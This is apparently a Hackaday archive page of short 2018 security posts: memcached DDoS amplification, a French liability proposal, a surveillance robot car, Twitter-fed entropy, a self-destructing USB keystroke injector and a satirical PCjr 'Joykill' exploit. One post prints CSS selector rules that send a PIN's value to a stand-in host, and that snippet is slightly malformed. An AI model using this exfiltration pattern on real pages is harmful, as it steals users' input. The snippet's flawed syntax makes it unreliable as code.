Memcached Servers Abused For DDoS Attacks

March 1, 2018 by Bob Baddeley 11 Comments

Cloudflare announced recently that they are seeing an increase in amplification attacks using memcached servers, and that this exploit has the potential to be a big problem because memcached is capable of amplifying an attack significantly. This takes DDoS attacks to a new level, but the good news is that the problem is confined to a few thousand misconfigured servers, and the solution is to put the servers behind a tighter firewall and to disable UDP. What’s interesting is how the fundamental workings of the Internet are exploited to create and direct a massive amount of traffic.

We start with a botnet. This is when a bunch of Internet-connected devices are compromised and controlled by a malicious user. This could be a set of specific brand of web camera or printer or computer with unsecured firmware. Once the device is compromised, the malicious user can control the botnet and have it execute code. This code could mine cryptocurrency, upload sensitive data, or create a lot of web traffic directed at a particular server, flooding it with requests and creating a distributed denial of service (DDoS) attack that takes down the server. Since the server can’t distinguish regular traffic from malicious traffic, it can’t filter it out and becomes unresponsive.

This DDoS attack is limited to the size of the botnet’s bandwidth, though. If all the web cameras in the botnet are pounding a server as fast as they can, the botnet has reached its max. The next trick is called an amplification attack, and it exploits UDP. UDP (as opposed to TCP) is like the early post office; you send mail and hope it gets there, and if it doesn’t then oh well. There’s no handshaking between communicating computers. When a device sends a UDP packet to a server, it includes the return address so that the server can send the response back. If the device sends a carefully crafted fake request with a different return address, then the server will send the response to that spoofed return address.

So if the web camera sends a request to Server A and the response is sent to Server B, then Server A is unintentionally attacking Server B. If the request is the same size as the response, then there’s no benefit to this attack. If the request is smaller than the response, and Server A sends Server B a bunch of unrequested data for every request from the camera, then you have a successful amplification attack. In the case of memcached, traffic can be amplified by more than 50,000 times, meaning that a small botnet can have a huge effect.

Memcached is a memory caching system whose primary use is to help large websites by caching data that would otherwise be stored in a database or API, so it really shouldn’t be publicly accessible anyway. And the solution is to turn off public-facing memcached over UDP, but the larger solution is to think about what things you are making available to the Internet, and how they can be used maliciously.

CSS Steals Your Web Data

February 25, 2018 by Al Williams 26 Comments

Earlier this year, we posted a link to an interactive Web page. Most people seemed to like it, but we got at least one comment about how they would never be so incautious as to allow JavaScript to run on their computers. You can argue the relative merit of that statement, but it did remind us that just disabling JavaScript is no panacea when it comes to Internet security. You might wonder how you could steal data without scripting, assuming you don’t directly control the server or browser, of course. The answer is by using a cascading style sheet (CSS). [Live Overflow] explains the exploit in the video below, covering an older paper and a recent rediscovery of the technique.

The technique hinges on you getting a CSS into the web page. Maybe you’ve partially compromised the server or maybe you wrote a malicious browser extension. The method works because you can make a style conditional on an attribute of an element. That means you can ask CSS to do some special formatting on a text field with a certain value. If that formatting is to load some background image from a server you control then you can tell if the field has a particular value.

We didn’t say it was easy. Suppose you want to capture a four-digit PIN number. You will need about 10,000 lines of format. For example:

input[type="pin"][value$="0000"] { background-color: url(http://notahackaday.com/0000.png }
input[type="pin"][value$="0001"] { background-color: url(http://notahackaday.com/0001.png }
...
input[type="pin"][value$="9999"] { background-color: url(http://notahackaday.com/9999.png }

Continue reading “CSS Steals Your Web Data” →

France Proposes Software Security Liability For Manufacturers, Open Source As Support Ends

February 22, 2018 by Jenny List 58 Comments

It sometimes seems as though barely a week can go by without yet another major software-related hardware vulnerability story. As manufacturers grapple with the demands of no longer building simple appliances but instead supplying them containing software that may expose itself to the world over the Internet, we see devices shipped with insecure firmware and little care for its support or updating after the sale.

The French government have a proposal to address this problem that may be of interest to our community, to make manufacturers liable for the security of a product while it is on the market, and with the possibility of requiring its software to be made open-source at end-of-life. In the first instance it can only be a good thing for device security to be put at the top of a manufacturer’s agenda, and in the second the ready availability of source code would present reverse engineers with a bonanza.

It’s worth making the point that this is a strategy document, what it contains are only proposals and not laws. As a 166 page French-language PDF it’s a long read for any Francophones among you and contains many other aspects of the French take on cybersecurity. But it’s important, because it shows the likely direction that France intends to take on this issue within the EU. At an EU level this could then represent a globally significant move that would affect products sold far and wide.

What do we expect to happen in reality though? It would be nice to think that security holes in consumer devices would be neutralised overnight and then we’d have source code for a load of devices, but we’d reluctantly have to say we’ll believe it when we see it. It is more likely that manufacturers will fight it tooth and nail, and given some recent stories about devices being bricked by software updates at the end of support we could even see many of them willingly consigning their products to the e-waste bins rather than complying. We’d love to be proven wrong, but perhaps we’re too used to such stories. Either way this will be an interesting story to watch, and we’ll keep you posted.

Merci beaucoup [Sebastien] for the invaluable French-language help.

French flag: Wox-globe-trotter [Public domain].

Cell Phone Surveillance Car

January 30, 2018 by James Hobson 15 Comments

There are many viable options for home security systems, but where is the fun in watching a static camera feed from inside your place? The freedom to really look around might have been what compelled [Varun Kumar] to build a security car robot to drive around his place and make sure all is in order.

Aimed at cost-effectiveness and WiFi or internet accessibility, an Android smartphone provides the foundation of this build — skipping the need for a separate Bluetooth or WiFi module — and backed up by an Arduino Uno, an L298 motor controller, and two geared DC motors powering the wheels.

Further taking advantage of the phone’s functionality, the robot is controlled by DTMF tones. Using the app DTMF Tone Generator and outputting through the 3.5mm jack, commands are interpreted by a MT8870DE DTMF decoder module.While this control method carries some risks — as with many IoT-like devices — [Kumar] has circumvented one of DTMF’s vulnerabilities by adding a PIN before the security car will accept any commands.

He obtains a live video feed from the phone using AirDroid in concert with VNC server, and assisted by a servo motor for the phone is enabled to sweep left and right for a better look. A VNC client on [Kumar]’s laptop is able to access the video feed and issue commands. Check it out in action after the break!

Continue reading “Cell Phone Surveillance Car” →

Twitter RNG Is Powered By Memes

January 25, 2018 by Tom Nardi 8 Comments

Twitter is kind of a crazy place. World leaders doing verbal battle, hashtags that rise and fall along with the social climate, and a never ending barrage of cat pictures all make for a tumultuous stream of consciousness that runs 24/7. What exactly we’re supposed to do with this information is still up to debate, as Twitter has yet to turn it into a profitable service after over a decade of operation. Still, it’s a grand experiment that offers a rare glimpse into the human hive-mind for anyone brave enough to dive in.

One such explorer is a security researcher who goes by the handle [x0rz]. He’s recently unveiled an experimental new piece of software that grabs Tweets and uses them as a “noise” to mix in with the Linux urandom entropy pool. The end result is a relatively unpredictable and difficult to influence source of random data. While he cautions his software is merely a proof of concept and not meant for high security applications, it’s certainly an interesting approach to introducing humanity-derived chaos into the normally orderly world of your computer’s operating system.

Noise sampling before and after being merged with urandom

This hack is made possible by the fact that Twitter offers a “sample” function in their API, which effectively throws a randomized collection of Tweets at anyone who requests it. There are some caveats here, such as the fact that if multiple clients request a sample at the same time they will both receive the same Tweets. It’s also worth mentioning that some characters are unusually likely to make an appearance due to the nature of Twitter (emoticons, ~~octothorps~~ pound signs, etc), but generally speaking it’s not a terrible way to get some chaotic data on demand.

On its own, [x0rz] found this data to be a good but not great source of entropy. After pulling a 500KB sample, he found it had an entropy of 6.5519 bits per byte (random would be 8). While the Tweets weren’t great on their own, combining the data with the kernel’s entropy pool at /dev/urandom provided something that looked a lot less predictable.

The greatest weakness of using Twitter as a source of entropy is, of course, the nature of Twitter itself. A sufficiently popular hashtag on the rise might be just enough to sink your entropy. It’s even possible (though admittedly unlikely) that enough Twitter spam bots could ruin the sample. But if you’re at the point where you think hinging your entropy pool on a digital fire hose of memes and cat pictures is sufficient, you’re probably not securing any national secrets anyway.

(Editor’s note: The way the Linux entropy pool mixes it together, additional sources can only help, assuming they can’t see the current state of your entropy pool, which Twitter cats most certainly can’t. See article below. Also, this is hilarious.)

We’ve covered some fantastic examples of true random number generators here at Hackaday, and if you’re looking for a good primer for the Kingdom of the Chaotic, check out the piece by our own [Elliot Williams].

This USB Drive Will Self-Destruct After Ruining Your Computer

January 19, 2018 by Dan Maloney 35 Comments

Who would have thought that you could light up pyrotechnics on USB power? This USB keystroke injector that blows up after it’s used proves the concept.

Fully aware that this is one of those “just because you can doesn’t mean you should” projects, [MG] takes pains to point out that his danger dongle is just for dramatic effect, like a prop for a movie or the stage. In fact, he purposely withholds details on the pyrotechnics and concentrates on the keystroke injection aspect, potentially nasty enough by itself, as well as the dongle’s universal payload launching features. We’re a little bummed, because the confetti explosion (spoiler!) was pretty neat.

The device is just an ATtiny85 and a few passives stuffed into an old USB drive shell, along with a MOSFET to trigger the payload. If you eschew the explosives, the payload could be anything that will fit in the case. [MG] suggests that if you want to prank someone, an obnoxious siren might be a better way to teach your mark a lesson about plugging in strange USB drives.

While this isn’t the most dangerous thing you can do with a USB port, it could be right up there with that rash of USB killer dongles from a year or so ago. All of these devices are fun “what ifs”, but using them on anything but your own computers is not cool and possibly dangerous. Watching the smoke pour out of a USB socket definitely drives home the point that you shouldn’t plug in that thumbdrive that you found in the bathroom at work, though.

Continue reading “This USB Drive Will Self-Destruct After Ruining Your Computer” →

Joykill: Previously Undisclosed Vulnerability Endangers User Data

January 17, 2018 by Brian Benchoff 28 Comments

Researchers have recently announced a vulnerability in PC hardware enabling attackers to wipe the disk of a victim’s computer. This vulnerability, going by the name Joykill, stems from the lack of proper validation when enabling manufacturing system tests.

Joykill affects the IBM PCjr and allows local and remote attackers to destroy the contents of the floppy diskette using minimal interaction. The attack is performed by plugging two joysticks into the PCjr, booting the computer, entering the PCjr’s diagnostic mode, and immediately pressing button ‘B’ on joystick one, and buttons ‘A’ and ‘B’ on joystick two. This will enable the manufacturing system test mode, where all internal tests are performed without user interaction. The first of these tests is the diskette test, which destroys all user data on any inserted diskette. There is no visual indication of what is happening, and the data is destroyed when the test is run.

A local exploit destroying user data is scary enough, but after much work, the researchers behind Joykill have also managed to craft a remote exploit based on Joykill. To accomplish this, the researchers built two IBM PCjr joysticks with 50-meter long cables.

Researchers believe this exploit is due to undocumented code in the PCjr’s ROM. This code contains diagnostics code for manufacturing burn-in, system test code, and service test code. This code is not meant to be run by the end user, but is still exploitable by an attacker. Researchers have disassembled this code and made their work available to anyone.

As of the time of this writing, we were not able to contact anyone at the IBM PCjr Information Center for comment. We did, however, receive an exciting offer for a Carribean cruise.